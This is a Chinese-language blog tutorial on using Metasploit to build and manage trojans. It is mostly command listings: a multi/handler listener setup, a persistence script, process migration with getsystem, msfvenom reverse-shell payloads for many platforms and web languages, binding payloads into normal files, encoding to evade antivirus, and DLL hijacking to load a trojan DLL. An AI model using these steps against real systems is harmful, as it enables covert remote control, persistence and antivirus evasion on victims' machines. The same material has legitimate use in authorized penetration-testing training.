Metasploit(一)

Metasploit木马

    • MSF模块介绍
      • auxiliary
      • exploits
      • payloads
      • encoders
      • nops
      • post
    • 木马管理
      • 开启监听
      • 连接多个木马
      • 木马持久化
      • 木马进程迁移
    • 生成木马
      • 生成木马
        • 木马捆绑
        • 木马混淆
      • 劫持DLL
    • 生成脚本木马
      • 设置payload(这里以python为例)
      • 配置payload
      • 生成木马
    • 快捷方式(编写脚本)
      • 生成后门
      • 木马管理
    • 在msfconsole中生成木马并监听
      • 设置payload
      • 配置payload
      • 生成木马
      • 开启监听
      • 查看后台监听进程
      • 查看会话
      • 管理id=1的会话

MSF模块介绍

MSF有6个模块,分别对上面目录下的6个子文件夹:

auxiliary

负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块

exploits

利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

payloads

成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages:利用stagers建立的连接下载后续payload

encoders

对payload进行加密,躲避AntiVirus检查的模块

nops

提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

post

后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作

木马管理

开启监听

msfconsole -q:快速打开
use exploit/multi/handler:使用侦听模块
show options:查看模块配置
set LHOST 本地IP:设置监听IP
set LPORT 端口:设置端口
set payload windows/meterpreter/reverse_tcp:设置payloadMetasploit(一)_第1张图片
run/exploit
Metasploit(一)_第2张图片
meterpreter中输入?或help获得帮助文档
Metasploit(一)_第3张图片

连接多个木马

set exitonsession flase:设置监听多个
run -j:后台监听
jobs:后台进程
jobs -k:停止后台监听
sessions:查看会话
在这里插入图片描述
Metasploit(一)_第4张图片
sessions -i id:管理其中ID号对应的会话
bg:回退
Metasploit(一)_第5张图片

木马持久化

run #执行已有的模块,输入run后按两下tab,列出已有的脚本。
run persistence -h :查看木马持久化模块脚本帮助文档
run persistence -x -i 3 -p 444 -r 192.168.124.26
Metasploit(一)_第6张图片

木马进程迁移

ps:查看进程
getsystem:提权
migrate -h:迁移进程模块帮助文档
migrate :进程迁移到pid
在这里插入图片描述

生成木马

msfvenom -h :查看帮助
Metasploit(一)_第7张图片
msfvenom -l formats:查看可用文件类型
Metasploit(一)_第8张图片
msfvenom -l archs:查看架构
Metasploit(一)_第9张图片
msfvenom -l platforms:查看平台
Metasploit(一)_第10张图片

生成木马

msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 --platform windows -o ./meter_re_tcp_x86.exe
Metasploit(一)_第11张图片

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
​
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
​
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machoWeb Payloads

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
​
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
​
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
​
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
​
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
​
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
​

除此之外;

木马捆绑

-x:将木马捆绑在一个正常文件
Metasploit(一)_第12张图片

木马混淆

-e:将木马使用混淆器混淆
-i: 混淆几次
Metasploit(一)_第13张图片
-k:添加一个新的线程。

劫持DLL

生成恶意DLL只需要将format改为DLL。
在cmd中运行DLL。
命令:rundll32 DLL文件,DllEntryPoint
Metasploit(一)_第14张图片
Dll劫持原理:
先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。
即可执行文件调用伪造为正常的恶意DLL,恶意DLL在调用原本的DLL,在恶意DLL调用正常DLL时,还可以同时调用我们msf生成的木马DLL。
生成恶意DLL:
https://github.com/strivexjun/AheadLib-x86-x64
Metasploit(一)_第15张图片
让恶意DLL调用我们的木马DLL,VS编译一下
Metasploit(一)_第16张图片

生成脚本木马

设置payload(这里以python为例)

use payload/python/meterpreter/reverse_tcp

配置payload

show options
set LHOST IP

Metasploit(一)_第17张图片

生成木马

生成shellcode

generate -f python -o /root/桌面/back.py

Metasploit(一)_第18张图片

生成源码

generate -f raw -o /root/桌面/bak.py

加了混淆的源码。
Metasploit(一)_第19张图片

快捷方式(编写脚本)

新建目录,在目录里写脚本

生成后门

Metasploit(一)_第20张图片

木马管理

Metasploit(一)_第21张图片
Metasploit(一)_第22张图片

在msfconsole中生成木马并监听

设置payload

use payload/linux/x64/meterpreter/reverse_tcp

配置payload

set lhost 192.168.124.26

在这里插入图片描述

生成木马

generate -f elf -o /root/桌面/back

开启监听

handler -H 192.168.124.26 -P 4444 -n linux -p linux/x64/meterpreter/reverse_tcp

查看后台监听进程

jobs

查看会话

sessions

管理id=1的会话

sessions -i 1

你可能感兴趣的:(工具,开发工具)